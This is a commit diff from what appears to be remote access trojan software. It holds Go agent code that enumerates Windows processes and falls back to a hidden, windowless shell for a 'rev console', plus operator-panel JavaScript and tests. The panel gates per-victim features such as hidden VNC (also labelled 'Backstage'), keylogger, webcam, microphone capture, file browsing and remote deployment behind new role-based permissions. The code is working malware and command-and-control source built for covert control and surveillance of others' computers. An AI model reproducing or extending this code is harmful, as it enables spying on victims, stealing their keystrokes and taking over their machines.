RBAC changes + fix rev console and process view in shellcode
This commit is contained in:
@@ -80,136 +80,11 @@ func listProcesses() ([]wire.ProcessInfo, error) {
|
||||
continue
|
||||
}
|
||||
|
||||
handle, _, _ := procOpenProcess.Call(
|
||||
windows.PROCESS_QUERY_INFORMATION|windows.PROCESS_VM_READ,
|
||||
0,
|
||||
uintptr(pid),
|
||||
)
|
||||
|
||||
if handle == 0 {
|
||||
info := queryProcess(pid, selfPID, numCPU)
|
||||
if info == nil {
|
||||
continue
|
||||
}
|
||||
defer windows.CloseHandle(windows.Handle(handle))
|
||||
|
||||
var filename [windows.MAX_PATH]uint16
|
||||
ret, _, _ := procGetProcessImageFileNameW.Call(
|
||||
handle,
|
||||
uintptr(unsafe.Pointer(&filename[0])),
|
||||
uintptr(len(filename)),
|
||||
)
|
||||
|
||||
name := "Unknown"
|
||||
if ret != 0 {
|
||||
name = syscall.UTF16ToString(filename[:])
|
||||
|
||||
for i := len(name) - 1; i >= 0; i-- {
|
||||
if name[i] == '\\' || name[i] == '/' {
|
||||
name = name[i+1:]
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
var memCounters PROCESS_MEMORY_COUNTERS
|
||||
memCounters.CB = uint32(unsafe.Sizeof(memCounters))
|
||||
memory := uint64(0)
|
||||
|
||||
ret, _, _ = procGetProcessMemoryInfo.Call(
|
||||
handle,
|
||||
uintptr(unsafe.Pointer(&memCounters)),
|
||||
uintptr(memCounters.CB),
|
||||
)
|
||||
|
||||
if ret != 0 {
|
||||
memory = uint64(memCounters.WorkingSetSize)
|
||||
}
|
||||
|
||||
cpu := 0.0
|
||||
var creation, exit, kernel, user windows.Filetime
|
||||
ret, _, _ = procGetProcessTimes.Call(
|
||||
handle,
|
||||
uintptr(unsafe.Pointer(&creation)),
|
||||
uintptr(unsafe.Pointer(&exit)),
|
||||
uintptr(unsafe.Pointer(&kernel)),
|
||||
uintptr(unsafe.Pointer(&user)),
|
||||
)
|
||||
if ret != 0 {
|
||||
cpuTotal := (uint64(kernel.HighDateTime)<<32 | uint64(kernel.LowDateTime)) +
|
||||
(uint64(user.HighDateTime)<<32 | uint64(user.LowDateTime))
|
||||
now := time.Now()
|
||||
cpuSamplesMu.Lock()
|
||||
if prev, ok := cpuSamples[pid]; ok {
|
||||
wallDelta := now.Sub(prev.sampledAt).Seconds()
|
||||
if wallDelta > 0 && cpuTotal >= prev.cpuTime100ns {
|
||||
cpuDelta := float64(cpuTotal-prev.cpuTime100ns) / 1e7
|
||||
cpu = (cpuDelta / wallDelta) / float64(numCPU) * 100.0
|
||||
if cpu < 0 {
|
||||
cpu = 0
|
||||
} else if cpu > 100 {
|
||||
cpu = 100
|
||||
}
|
||||
}
|
||||
}
|
||||
cpuSamples[pid] = cpuSample{cpuTime100ns: cpuTotal, sampledAt: now}
|
||||
cpuSamplesMu.Unlock()
|
||||
}
|
||||
|
||||
var pbi windows.PROCESS_BASIC_INFORMATION
|
||||
ppid := int32(0)
|
||||
err := windows.NtQueryInformationProcess(windows.Handle(handle), windows.ProcessBasicInformation, unsafe.Pointer(&pbi), uint32(unsafe.Sizeof(pbi)), nil)
|
||||
if err == nil {
|
||||
ppid = int32(pbi.InheritedFromUniqueProcessId)
|
||||
}
|
||||
|
||||
username := "System"
|
||||
var token windows.Token
|
||||
if err := windows.OpenProcessToken(windows.Handle(handle), windows.TOKEN_QUERY, &token); err == nil {
|
||||
defer token.Close()
|
||||
tokenUser, err := token.GetTokenUser()
|
||||
if err == nil {
|
||||
account, domain, _, err := tokenUser.User.Sid.LookupAccount("")
|
||||
if err == nil {
|
||||
if domain != "" {
|
||||
username = domain + "\\" + account
|
||||
} else {
|
||||
username = account
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
procType := "other"
|
||||
usernameLower := strings.ToLower(username)
|
||||
nameLower := strings.ToLower(name)
|
||||
|
||||
if pid <= 4 || nameLower == "system" || nameLower == "registry" {
|
||||
procType = "system"
|
||||
} else if strings.Contains(usernameLower, "system") ||
|
||||
strings.Contains(usernameLower, "local service") ||
|
||||
strings.Contains(usernameLower, "network service") ||
|
||||
usernameLower == "system" {
|
||||
procType = "service"
|
||||
} else {
|
||||
|
||||
currentUser, err := windows.GetCurrentProcessToken().GetTokenUser()
|
||||
if err == nil {
|
||||
tokenUser, err := token.GetTokenUser()
|
||||
if err == nil && tokenUser.User.Sid.Equals(currentUser.User.Sid) {
|
||||
procType = "own"
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
processes = append(processes, wire.ProcessInfo{
|
||||
PID: pid,
|
||||
PPID: ppid,
|
||||
Name: name,
|
||||
CPU: cpu,
|
||||
Memory: memory,
|
||||
Username: username,
|
||||
Type: procType,
|
||||
Self: pid == selfPID,
|
||||
})
|
||||
processes = append(processes, *info)
|
||||
}
|
||||
|
||||
cpuSamplesMu.Lock()
|
||||
@@ -227,6 +102,136 @@ func listProcesses() ([]wire.ProcessInfo, error) {
|
||||
return processes, nil
|
||||
}
|
||||
|
||||
func queryProcess(pid, selfPID int32, numCPU int) *wire.ProcessInfo {
|
||||
handle, _, _ := procOpenProcess.Call(
|
||||
windows.PROCESS_QUERY_INFORMATION|windows.PROCESS_VM_READ,
|
||||
0,
|
||||
uintptr(pid),
|
||||
)
|
||||
if handle == 0 {
|
||||
return nil
|
||||
}
|
||||
defer windows.CloseHandle(windows.Handle(handle))
|
||||
|
||||
var filename [windows.MAX_PATH]uint16
|
||||
ret, _, _ := procGetProcessImageFileNameW.Call(
|
||||
handle,
|
||||
uintptr(unsafe.Pointer(&filename[0])),
|
||||
uintptr(len(filename)),
|
||||
)
|
||||
|
||||
name := "Unknown"
|
||||
if ret != 0 {
|
||||
name = syscall.UTF16ToString(filename[:])
|
||||
for i := len(name) - 1; i >= 0; i-- {
|
||||
if name[i] == '\\' || name[i] == '/' {
|
||||
name = name[i+1:]
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
var memCounters PROCESS_MEMORY_COUNTERS
|
||||
memCounters.CB = uint32(unsafe.Sizeof(memCounters))
|
||||
memory := uint64(0)
|
||||
|
||||
ret, _, _ = procGetProcessMemoryInfo.Call(
|
||||
handle,
|
||||
uintptr(unsafe.Pointer(&memCounters)),
|
||||
uintptr(memCounters.CB),
|
||||
)
|
||||
if ret != 0 {
|
||||
memory = uint64(memCounters.WorkingSetSize)
|
||||
}
|
||||
|
||||
cpu := 0.0
|
||||
var creation, exit, kernel, user windows.Filetime
|
||||
ret, _, _ = procGetProcessTimes.Call(
|
||||
handle,
|
||||
uintptr(unsafe.Pointer(&creation)),
|
||||
uintptr(unsafe.Pointer(&exit)),
|
||||
uintptr(unsafe.Pointer(&kernel)),
|
||||
uintptr(unsafe.Pointer(&user)),
|
||||
)
|
||||
if ret != 0 {
|
||||
cpuTotal := (uint64(kernel.HighDateTime)<<32 | uint64(kernel.LowDateTime)) +
|
||||
(uint64(user.HighDateTime)<<32 | uint64(user.LowDateTime))
|
||||
now := time.Now()
|
||||
cpuSamplesMu.Lock()
|
||||
if prev, ok := cpuSamples[pid]; ok {
|
||||
wallDelta := now.Sub(prev.sampledAt).Seconds()
|
||||
if wallDelta > 0 && cpuTotal >= prev.cpuTime100ns {
|
||||
cpuDelta := float64(cpuTotal-prev.cpuTime100ns) / 1e7
|
||||
cpu = (cpuDelta / wallDelta) / float64(numCPU) * 100.0
|
||||
if cpu < 0 {
|
||||
cpu = 0
|
||||
} else if cpu > 100 {
|
||||
cpu = 100
|
||||
}
|
||||
}
|
||||
}
|
||||
cpuSamples[pid] = cpuSample{cpuTime100ns: cpuTotal, sampledAt: now}
|
||||
cpuSamplesMu.Unlock()
|
||||
}
|
||||
|
||||
var pbi windows.PROCESS_BASIC_INFORMATION
|
||||
ppid := int32(0)
|
||||
if err := windows.NtQueryInformationProcess(windows.Handle(handle), windows.ProcessBasicInformation, unsafe.Pointer(&pbi), uint32(unsafe.Sizeof(pbi)), nil); err == nil {
|
||||
ppid = int32(pbi.InheritedFromUniqueProcessId)
|
||||
}
|
||||
|
||||
username := "System"
|
||||
var token windows.Token
|
||||
tokenOpen := false
|
||||
if err := windows.OpenProcessToken(windows.Handle(handle), windows.TOKEN_QUERY, &token); err == nil {
|
||||
tokenOpen = true
|
||||
defer token.Close()
|
||||
tokenUser, err := token.GetTokenUser()
|
||||
if err == nil {
|
||||
account, domain, _, err := tokenUser.User.Sid.LookupAccount("")
|
||||
if err == nil {
|
||||
if domain != "" {
|
||||
username = domain + "\\" + account
|
||||
} else {
|
||||
username = account
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
procType := "other"
|
||||
usernameLower := strings.ToLower(username)
|
||||
nameLower := strings.ToLower(name)
|
||||
|
||||
if pid <= 4 || nameLower == "system" || nameLower == "registry" {
|
||||
procType = "system"
|
||||
} else if strings.Contains(usernameLower, "system") ||
|
||||
strings.Contains(usernameLower, "local service") ||
|
||||
strings.Contains(usernameLower, "network service") ||
|
||||
usernameLower == "system" {
|
||||
procType = "service"
|
||||
} else if tokenOpen {
|
||||
currentUser, err := windows.GetCurrentProcessToken().GetTokenUser()
|
||||
if err == nil {
|
||||
tokenUser, err := token.GetTokenUser()
|
||||
if err == nil && tokenUser.User.Sid.Equals(currentUser.User.Sid) {
|
||||
procType = "own"
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return &wire.ProcessInfo{
|
||||
PID: pid,
|
||||
PPID: ppid,
|
||||
Name: name,
|
||||
CPU: cpu,
|
||||
Memory: memory,
|
||||
Username: username,
|
||||
Type: procType,
|
||||
Self: pid == selfPID,
|
||||
}
|
||||
}
|
||||
|
||||
func killProcess(pid int32) error {
|
||||
handle, err := windows.OpenProcess(windows.PROCESS_TERMINATE, false, uint32(pid))
|
||||
if err != nil {
|
||||
|
||||
@@ -4,9 +4,16 @@ package runtime
|
||||
|
||||
import (
|
||||
"context"
|
||||
"io"
|
||||
"log"
|
||||
"os"
|
||||
"os/exec"
|
||||
"strings"
|
||||
"sync"
|
||||
"syscall"
|
||||
|
||||
"github.com/UserExistsError/conpty"
|
||||
"golang.org/x/sys/windows"
|
||||
)
|
||||
|
||||
type winPty struct {
|
||||
@@ -32,18 +39,98 @@ func (w *winPty) Wait() (int, error) {
|
||||
return res.code, res.err
|
||||
}
|
||||
|
||||
func startPty(ctx context.Context, shell []string, cols, rows uint16) (ptyHandle, error) {
|
||||
cmdline := strings.Join(shell, " ")
|
||||
type rawShell struct {
|
||||
cmd *exec.Cmd
|
||||
stdin io.WriteCloser
|
||||
reader io.ReadCloser
|
||||
writer *os.File
|
||||
once sync.Once
|
||||
waitCh chan waitResult
|
||||
}
|
||||
|
||||
cp, err := conpty.Start(cmdline, conpty.ConPtyDimensions(int(cols), int(rows)))
|
||||
func (r *rawShell) Read(p []byte) (int, error) { return r.reader.Read(p) }
|
||||
func (r *rawShell) Write(p []byte) (int, error) { return r.stdin.Write(p) }
|
||||
|
||||
func (r *rawShell) Close() error {
|
||||
r.once.Do(func() {
|
||||
r.stdin.Close()
|
||||
r.cmd.Process.Kill()
|
||||
r.writer.Close()
|
||||
r.reader.Close()
|
||||
})
|
||||
return nil
|
||||
}
|
||||
|
||||
func (r *rawShell) Resize(cols, rows uint16) error { return nil }
|
||||
|
||||
func (r *rawShell) Wait() (int, error) {
|
||||
res := <-r.waitCh
|
||||
return res.code, res.err
|
||||
}
|
||||
|
||||
func startRawShell(shell []string) (ptyHandle, error) {
|
||||
cmd := exec.Command(shell[0], shell[1:]...)
|
||||
cmd.SysProcAttr = &syscall.SysProcAttr{
|
||||
HideWindow: true,
|
||||
CreationFlags: windows.CREATE_NO_WINDOW,
|
||||
}
|
||||
|
||||
stdin, err := cmd.StdinPipe()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
w := &winPty{cp: cp, waitCh: make(chan waitResult, 1)}
|
||||
pr, pw, err := os.Pipe()
|
||||
if err != nil {
|
||||
stdin.Close()
|
||||
return nil, err
|
||||
}
|
||||
cmd.Stdout = pw
|
||||
cmd.Stderr = pw
|
||||
|
||||
if err := cmd.Start(); err != nil {
|
||||
stdin.Close()
|
||||
pr.Close()
|
||||
pw.Close()
|
||||
return nil, err
|
||||
}
|
||||
|
||||
rs := &rawShell{
|
||||
cmd: cmd,
|
||||
stdin: stdin,
|
||||
reader: pr,
|
||||
writer: pw,
|
||||
waitCh: make(chan waitResult, 1),
|
||||
}
|
||||
go func() {
|
||||
code, werr := cp.Wait(context.Background())
|
||||
w.waitCh <- waitResult{code: int(code), err: werr}
|
||||
werr := cmd.Wait()
|
||||
pw.Close()
|
||||
code := 0
|
||||
if werr != nil {
|
||||
if exit, ok := werr.(*exec.ExitError); ok {
|
||||
code = exit.ExitCode()
|
||||
} else {
|
||||
code = 1
|
||||
}
|
||||
}
|
||||
rs.waitCh <- waitResult{code: code, err: werr}
|
||||
}()
|
||||
return w, nil
|
||||
return rs, nil
|
||||
}
|
||||
|
||||
func startPty(ctx context.Context, shell []string, cols, rows uint16) (ptyHandle, error) {
|
||||
cmdline := strings.Join(shell, " ")
|
||||
|
||||
cp, err := conpty.Start(cmdline, conpty.ConPtyDimensions(int(cols), int(rows)))
|
||||
if err == nil {
|
||||
w := &winPty{cp: cp, waitCh: make(chan waitResult, 1)}
|
||||
go func() {
|
||||
code, werr := cp.Wait(context.Background())
|
||||
w.waitCh <- waitResult{code: int(code), err: werr}
|
||||
}()
|
||||
return w, nil
|
||||
}
|
||||
|
||||
log.Printf("console: conpty failed (%v), falling back to raw shell", err)
|
||||
return startRawShell(shell)
|
||||
}
|
||||
|
||||
@@ -1,19 +1,40 @@
|
||||
import { NAV_GROUPS } from "./nav/template.js";
|
||||
import { CAPTURE_FLAG } from "./keyboard-capture.js";
|
||||
|
||||
const PER_CLIENT_ACTIONS = [
|
||||
{ key: "console", label: "Console", icon: "fa-terminal", color: "text-emerald-400", href: (id) => `/${id}/console` },
|
||||
{ key: "hvnc", label: "HVNC", icon: "fa-desktop", color: "text-fuchsia-400", href: (id) => `/hvnc?clientId=${id}` },
|
||||
{ key: "rdp", label: "Remote Desktop", icon: "fa-display", color: "text-sky-400", href: (id) => `/remotedesktop?clientId=${id}` },
|
||||
{ key: "files", label: "File Browser", icon: "fa-folder-open", color: "text-cyan-400", href: (id) => `/${id}/files` },
|
||||
{ key: "processes", label: "Processes", icon: "fa-microchip", color: "text-orange-400", href: (id) => `/${id}/processes` },
|
||||
{ key: "keylogger", label: "Keylogger", icon: "fa-keyboard", color: "text-yellow-400", href: (id) => `/${id}/keylogger` },
|
||||
{ key: "webcam", label: "Webcam", icon: "fa-camera", color: "text-pink-400", href: (id) => `/webcam?clientId=${id}` },
|
||||
{ key: "voice", label: "Voice", icon: "fa-microphone", color: "text-indigo-400", href: (id) => `/voice?clientId=${id}` },
|
||||
{ key: "deploy", label: "Deploy", icon: "fa-rocket", color: "text-rose-400", href: (id) => `/deploy?clientId=${id}` },
|
||||
{ key: "winre", label: "WinRE", icon: "fa-shield-halved",color: "text-amber-400", href: (id) => `/winre?clientId=${id}` },
|
||||
const ALL_PER_CLIENT_ACTIONS = [
|
||||
{ key: "console", feature: "console", label: "Console", icon: "fa-terminal", color: "text-emerald-400", href: (id) => `/${id}/console` },
|
||||
{ key: "hvnc", feature: "hvnc", label: "HVNC", icon: "fa-desktop", color: "text-fuchsia-400", href: (id) => `/hvnc?clientId=${id}` },
|
||||
{ key: "rdp", feature: "remote_desktop", label: "Remote Desktop", icon: "fa-display", color: "text-sky-400", href: (id) => `/remotedesktop?clientId=${id}` },
|
||||
{ key: "files", feature: "file_browser", label: "File Browser", icon: "fa-folder-open", color: "text-cyan-400", href: (id) => `/${id}/files` },
|
||||
{ key: "processes", feature: "processes", label: "Processes", icon: "fa-microchip", color: "text-orange-400", href: (id) => `/${id}/processes` },
|
||||
{ key: "keylogger", feature: "keylogger", label: "Keylogger", icon: "fa-keyboard", color: "text-yellow-400", href: (id) => `/${id}/keylogger` },
|
||||
{ key: "webcam", feature: "webcam", label: "Webcam", icon: "fa-camera", color: "text-pink-400", href: (id) => `/webcam?clientId=${id}` },
|
||||
{ key: "voice", feature: "voice", label: "Voice", icon: "fa-microphone", color: "text-indigo-400", href: (id) => `/voice?clientId=${id}` },
|
||||
{ key: "deploy", feature: null, label: "Deploy", icon: "fa-rocket", color: "text-rose-400", href: (id) => `/deploy?clientId=${id}` },
|
||||
{ key: "winre", feature: null, label: "WinRE", icon: "fa-shield-halved",color: "text-amber-400", href: (id) => `/winre?clientId=${id}` },
|
||||
];
|
||||
|
||||
let featurePermsCache = null;
|
||||
|
||||
async function loadFeaturePerms() {
|
||||
if (featurePermsCache) return featurePermsCache;
|
||||
try {
|
||||
const res = await fetch("/api/auth/me", { credentials: "include" });
|
||||
if (!res.ok) return null;
|
||||
const data = await res.json();
|
||||
featurePermsCache = data?.featurePermissions || null;
|
||||
return featurePermsCache;
|
||||
} catch {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
function PER_CLIENT_ACTIONS() {
|
||||
const perms = featurePermsCache;
|
||||
if (!perms) return ALL_PER_CLIENT_ACTIONS;
|
||||
return ALL_PER_CLIENT_ACTIONS.filter((a) => !a.feature || perms[a.feature] !== false);
|
||||
}
|
||||
|
||||
const RECENT_KEY = "cmdp_recent_v1";
|
||||
const RECENT_MAX = 8;
|
||||
|
||||
@@ -121,7 +142,7 @@ function buildResults(query, pages, clients) {
|
||||
}
|
||||
}
|
||||
|
||||
for (const a of PER_CLIENT_ACTIONS) {
|
||||
for (const a of PER_CLIENT_ACTIONS()) {
|
||||
const sc = score(query, a.label);
|
||||
if (sc > 0) results.push({ kind: "action", action: a, _score: sc });
|
||||
}
|
||||
@@ -309,7 +330,7 @@ function activate(idx, newTab) {
|
||||
if (r.kind === "client") {
|
||||
state.mode = "actions-for-client";
|
||||
state.pendingClient = r.client;
|
||||
state.results = PER_CLIENT_ACTIONS.map((a) => ({ kind: "client-action", client: r.client, action: a, _score: 0 }));
|
||||
state.results = PER_CLIENT_ACTIONS().map((a) => ({ kind: "client-action", client: r.client, action: a, _score: 0 }));
|
||||
state.active = 0;
|
||||
const input = document.getElementById("cmdp-input");
|
||||
if (input) { input.value = ""; input.placeholder = `Action on ${clientLabel(r.client)}…`; input.focus(); }
|
||||
@@ -334,6 +355,7 @@ async function open() {
|
||||
state.query = "";
|
||||
state.mode = "main";
|
||||
state.pendingAction = null;
|
||||
await loadFeaturePerms();
|
||||
const root = mountPalette();
|
||||
if (!root) return;
|
||||
const input = document.getElementById("cmdp-input");
|
||||
@@ -347,7 +369,7 @@ async function open() {
|
||||
if (state.mode === "actions-for-client" && state.pendingClient) {
|
||||
const q = state.query.toLowerCase();
|
||||
const c = state.pendingClient;
|
||||
state.results = PER_CLIENT_ACTIONS
|
||||
state.results = PER_CLIENT_ACTIONS()
|
||||
.map((a) => ({ a, sc: score(q, a.label) }))
|
||||
.filter((x) => x.sc > 0 || !q)
|
||||
.sort((a, b) => b.sc - a.sc)
|
||||
|
||||
@@ -274,6 +274,37 @@ function applyMenuSupportRules(clientId) {
|
||||
["ping", "reconnect", "disconnect", "uninstall"].forEach(action => {
|
||||
setAvailability(menu.querySelector(`[data-action="${action}"]`), isOnline, "Client is offline");
|
||||
});
|
||||
|
||||
applyFeaturePermissionRules();
|
||||
}
|
||||
|
||||
const MENU_OPEN_TO_FEATURE = {
|
||||
console: "console",
|
||||
remotedesktop: "remote_desktop",
|
||||
Backstage: "hvnc",
|
||||
webcam: "webcam",
|
||||
files: "file_browser",
|
||||
processes: "processes",
|
||||
keylogger: "keylogger",
|
||||
voice: "voice",
|
||||
};
|
||||
|
||||
function applyFeaturePermissionRules() {
|
||||
const perms = currentUser?.featurePermissions;
|
||||
if (!perms) return;
|
||||
|
||||
for (const [openKey, feature] of Object.entries(MENU_OPEN_TO_FEATURE)) {
|
||||
const btn = menu.querySelector(`[data-open="${openKey}"]`);
|
||||
if (!btn) continue;
|
||||
if (perms[feature] === false) {
|
||||
btn.disabled = true;
|
||||
btn.setAttribute("aria-disabled", "true");
|
||||
btn.classList.add("opacity-50", "cursor-not-allowed");
|
||||
btn.classList.remove("hover:bg-slate-700");
|
||||
btn.classList.add("hover:bg-slate-800/50");
|
||||
btn.title = "Feature access disabled by administrator";
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
async function loadCurrentUser() {
|
||||
|
||||
@@ -0,0 +1,323 @@
|
||||
import { describe, expect, test } from "bun:test";
|
||||
import { generateToken } from "../../auth";
|
||||
import {
|
||||
ALL_FEATURES,
|
||||
createUser,
|
||||
deleteUser,
|
||||
getUserById,
|
||||
setUserClientAccessScope,
|
||||
setUserFeaturePermission,
|
||||
} from "../../users";
|
||||
import { handleAuthRoutes } from "./auth-routes";
|
||||
|
||||
const PASSWORD = "Aa1!AuthRoutesFeaturePermsTest_2026";
|
||||
|
||||
const mockServer = {
|
||||
requestIP: () => ({ address: "127.0.0.1" }),
|
||||
};
|
||||
|
||||
async function createTokenFor(role: "admin" | "operator" | "viewer") {
|
||||
const username = `me_${role.slice(0, 3)}_${Date.now().toString(36)}_${Math.floor(Math.random() * 1e6).toString(36)}`;
|
||||
const created = await createUser(username, PASSWORD, role, "test");
|
||||
expect(created.success).toBe(true);
|
||||
expect(typeof created.userId).toBe("number");
|
||||
const user = getUserById(created.userId!);
|
||||
expect(user).not.toBeNull();
|
||||
const token = await generateToken(user!);
|
||||
return { userId: created.userId!, token, username, role };
|
||||
}
|
||||
|
||||
describe("/api/auth/me featurePermissions", () => {
|
||||
test("admin gets every feature allowed in /api/auth/me", async () => {
|
||||
const auth = await createTokenFor("admin");
|
||||
try {
|
||||
const url = new URL("https://localhost/api/auth/me");
|
||||
const res = await handleAuthRoutes(
|
||||
new Request(url, {
|
||||
method: "GET",
|
||||
headers: { Authorization: `Bearer ${auth.token}` },
|
||||
}),
|
||||
url,
|
||||
mockServer,
|
||||
);
|
||||
expect(res).not.toBeNull();
|
||||
expect(res!.status).toBe(200);
|
||||
const body = (await res!.json()) as any;
|
||||
expect(body.username).toBe(auth.username);
|
||||
expect(body.role).toBe("admin");
|
||||
expect(body.featurePermissions).toBeDefined();
|
||||
for (const f of ALL_FEATURES) {
|
||||
expect(body.featurePermissions[f]).toBe(true);
|
||||
}
|
||||
} finally {
|
||||
deleteUser(auth.userId);
|
||||
}
|
||||
});
|
||||
|
||||
test("operator gets every feature allowed by default in /api/auth/me", async () => {
|
||||
const auth = await createTokenFor("operator");
|
||||
try {
|
||||
const url = new URL("https://localhost/api/auth/me");
|
||||
const res = await handleAuthRoutes(
|
||||
new Request(url, {
|
||||
method: "GET",
|
||||
headers: { Authorization: `Bearer ${auth.token}` },
|
||||
}),
|
||||
url,
|
||||
mockServer,
|
||||
);
|
||||
const body = (await res!.json()) as any;
|
||||
expect(body.role).toBe("operator");
|
||||
for (const f of ALL_FEATURES) {
|
||||
expect(body.featurePermissions[f]).toBe(true);
|
||||
}
|
||||
} finally {
|
||||
deleteUser(auth.userId);
|
||||
}
|
||||
});
|
||||
|
||||
test("operator-denied features are reflected in /api/auth/me", async () => {
|
||||
const auth = await createTokenFor("operator");
|
||||
try {
|
||||
setUserFeaturePermission(auth.userId, "webcam", false);
|
||||
setUserFeaturePermission(auth.userId, "file_browser", false);
|
||||
|
||||
const url = new URL("https://localhost/api/auth/me");
|
||||
const res = await handleAuthRoutes(
|
||||
new Request(url, {
|
||||
method: "GET",
|
||||
headers: { Authorization: `Bearer ${auth.token}` },
|
||||
}),
|
||||
url,
|
||||
mockServer,
|
||||
);
|
||||
const body = (await res!.json()) as any;
|
||||
expect(body.featurePermissions.webcam).toBe(false);
|
||||
expect(body.featurePermissions.file_browser).toBe(false);
|
||||
expect(body.featurePermissions.console).toBe(true);
|
||||
expect(body.featurePermissions.hvnc).toBe(true);
|
||||
} finally {
|
||||
deleteUser(auth.userId);
|
||||
}
|
||||
});
|
||||
|
||||
test("viewer gets every feature denied in /api/auth/me", async () => {
|
||||
const auth = await createTokenFor("viewer");
|
||||
try {
|
||||
const url = new URL("https://localhost/api/auth/me");
|
||||
const res = await handleAuthRoutes(
|
||||
new Request(url, {
|
||||
method: "GET",
|
||||
headers: { Authorization: `Bearer ${auth.token}` },
|
||||
}),
|
||||
url,
|
||||
mockServer,
|
||||
);
|
||||
const body = (await res!.json()) as any;
|
||||
expect(body.role).toBe("viewer");
|
||||
for (const f of ALL_FEATURES) {
|
||||
expect(body.featurePermissions[f]).toBe(false);
|
||||
}
|
||||
} finally {
|
||||
deleteUser(auth.userId);
|
||||
}
|
||||
});
|
||||
|
||||
test("/api/auth/me requires authentication", async () => {
|
||||
const url = new URL("https://localhost/api/auth/me");
|
||||
const res = await handleAuthRoutes(
|
||||
new Request(url, { method: "GET" }),
|
||||
url,
|
||||
mockServer,
|
||||
);
|
||||
expect(res).not.toBeNull();
|
||||
expect(res!.status).toBe(401);
|
||||
});
|
||||
});
|
||||
|
||||
describe("/api/auth/feature-check", () => {
|
||||
test("operator with allowed feature and accessible client returns allowed=true", async () => {
|
||||
const auth = await createTokenFor("operator");
|
||||
try {
|
||||
setUserClientAccessScope(auth.userId, "all");
|
||||
|
||||
const url = new URL("https://localhost/api/auth/feature-check?feature=console&clientId=client-x");
|
||||
const res = await handleAuthRoutes(
|
||||
new Request(url, {
|
||||
method: "GET",
|
||||
headers: { Authorization: `Bearer ${auth.token}` },
|
||||
}),
|
||||
url,
|
||||
mockServer,
|
||||
);
|
||||
expect(res!.status).toBe(200);
|
||||
const body = (await res!.json()) as any;
|
||||
expect(body.allowed).toBe(true);
|
||||
} finally {
|
||||
deleteUser(auth.userId);
|
||||
}
|
||||
});
|
||||
|
||||
test("operator with revoked feature returns allowed=false with reason 'feature'", async () => {
|
||||
const auth = await createTokenFor("operator");
|
||||
try {
|
||||
setUserClientAccessScope(auth.userId, "all");
|
||||
setUserFeaturePermission(auth.userId, "webcam", false);
|
||||
|
||||
const url = new URL("https://localhost/api/auth/feature-check?feature=webcam&clientId=client-x");
|
||||
const res = await handleAuthRoutes(
|
||||
new Request(url, {
|
||||
method: "GET",
|
||||
headers: { Authorization: `Bearer ${auth.token}` },
|
||||
}),
|
||||
url,
|
||||
mockServer,
|
||||
);
|
||||
expect(res!.status).toBe(200);
|
||||
const body = (await res!.json()) as any;
|
||||
expect(body.allowed).toBe(false);
|
||||
expect(body.denied).toContain("feature");
|
||||
expect(body.denied).not.toContain("client");
|
||||
} finally {
|
||||
deleteUser(auth.userId);
|
||||
}
|
||||
});
|
||||
|
||||
test("operator without client access returns allowed=false with reason 'client'", async () => {
|
||||
const auth = await createTokenFor("operator");
|
||||
try {
|
||||
// default client_scope=none
|
||||
|
||||
const url = new URL("https://localhost/api/auth/feature-check?feature=console&clientId=client-x");
|
||||
const res = await handleAuthRoutes(
|
||||
new Request(url, {
|
||||
method: "GET",
|
||||
headers: { Authorization: `Bearer ${auth.token}` },
|
||||
}),
|
||||
url,
|
||||
mockServer,
|
||||
);
|
||||
expect(res!.status).toBe(200);
|
||||
const body = (await res!.json()) as any;
|
||||
expect(body.allowed).toBe(false);
|
||||
expect(body.denied).toContain("client");
|
||||
expect(body.denied).not.toContain("feature");
|
||||
} finally {
|
||||
deleteUser(auth.userId);
|
||||
}
|
||||
});
|
||||
|
||||
test("both feature and client denied returns both reasons", async () => {
|
||||
const auth = await createTokenFor("operator");
|
||||
try {
|
||||
setUserFeaturePermission(auth.userId, "hvnc", false);
|
||||
// client_scope stays "none" => no access
|
||||
|
||||
const url = new URL("https://localhost/api/auth/feature-check?feature=hvnc&clientId=client-x");
|
||||
const res = await handleAuthRoutes(
|
||||
new Request(url, {
|
||||
method: "GET",
|
||||
headers: { Authorization: `Bearer ${auth.token}` },
|
||||
}),
|
||||
url,
|
||||
mockServer,
|
||||
);
|
||||
const body = (await res!.json()) as any;
|
||||
expect(body.allowed).toBe(false);
|
||||
expect(body.denied).toContain("feature");
|
||||
expect(body.denied).toContain("client");
|
||||
} finally {
|
||||
deleteUser(auth.userId);
|
||||
}
|
||||
});
|
||||
|
||||
test("viewer is denied every feature", async () => {
|
||||
const auth = await createTokenFor("viewer");
|
||||
try {
|
||||
const url = new URL("https://localhost/api/auth/feature-check?feature=console&clientId=client-x");
|
||||
const res = await handleAuthRoutes(
|
||||
new Request(url, {
|
||||
method: "GET",
|
||||
headers: { Authorization: `Bearer ${auth.token}` },
|
||||
}),
|
||||
url,
|
||||
mockServer,
|
||||
);
|
||||
const body = (await res!.json()) as any;
|
||||
expect(body.allowed).toBe(false);
|
||||
expect(body.denied).toContain("feature");
|
||||
} finally {
|
||||
deleteUser(auth.userId);
|
||||
}
|
||||
});
|
||||
|
||||
test("admin is allowed every feature, even with no client_scope", async () => {
|
||||
const auth = await createTokenFor("admin");
|
||||
try {
|
||||
const url = new URL("https://localhost/api/auth/feature-check?feature=webcam&clientId=client-x");
|
||||
const res = await handleAuthRoutes(
|
||||
new Request(url, {
|
||||
method: "GET",
|
||||
headers: { Authorization: `Bearer ${auth.token}` },
|
||||
}),
|
||||
url,
|
||||
mockServer,
|
||||
);
|
||||
const body = (await res!.json()) as any;
|
||||
expect(body.allowed).toBe(true);
|
||||
} finally {
|
||||
deleteUser(auth.userId);
|
||||
}
|
||||
});
|
||||
|
||||
test("invalid feature name returns 400", async () => {
|
||||
const auth = await createTokenFor("operator");
|
||||
try {
|
||||
const url = new URL("https://localhost/api/auth/feature-check?feature=not_a_feature&clientId=client-x");
|
||||
const res = await handleAuthRoutes(
|
||||
new Request(url, {
|
||||
method: "GET",
|
||||
headers: { Authorization: `Bearer ${auth.token}` },
|
||||
}),
|
||||
url,
|
||||
mockServer,
|
||||
);
|
